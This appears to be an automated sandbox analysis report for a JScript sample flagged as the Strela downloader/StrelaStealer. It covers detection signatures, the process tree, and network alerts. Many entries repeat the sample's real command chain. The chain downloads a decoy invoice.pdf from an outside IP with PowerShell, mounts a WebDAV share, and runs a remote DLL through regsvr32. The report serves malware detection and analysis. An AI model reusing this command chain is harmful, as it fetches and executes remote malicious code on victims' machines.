Edit tour

Windows Analysis Report
28236151432955330765.js

Overview

General Information

Sample name:	28236151432955330765.js
Analysis ID:	1590607
MD5:	b0dfb089985cc2ea8a5752c2e2833512
SHA1:	4795284dca7c5434ebaa6b27dcc9aa1d754705d4
SHA256:	cd634423035297dc33e4703a6a6523e4e7b463a8b2451aebf3e58cf8944be7af
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5036 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1196 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4268 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3332 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7088 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5144 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1636,i,11691038566996867236,5529193390739458141,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5588 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6188 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 4524 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5036	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1196, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4268, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1196, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4268, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ProcessId: 5036, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6188, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1196, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1196, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1196, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1196, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1196, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ProcessId: 5036, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1196, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4268, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5588, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 4524, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5588, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6188, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\28236151432955330765.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll, ProcessId: 1196, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:55:00.588362+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:55:03.222228+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-14T10:55:00.588362+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 28236151432955330765.js	Virustotal: Detection: 22%			Perma Link
Source: 28236151432955330765.js	ReversingLabs: Detection: 21%

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Tue, 14 Jan 2025 09:55:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.5:61204 -> 1.1.1.1:53

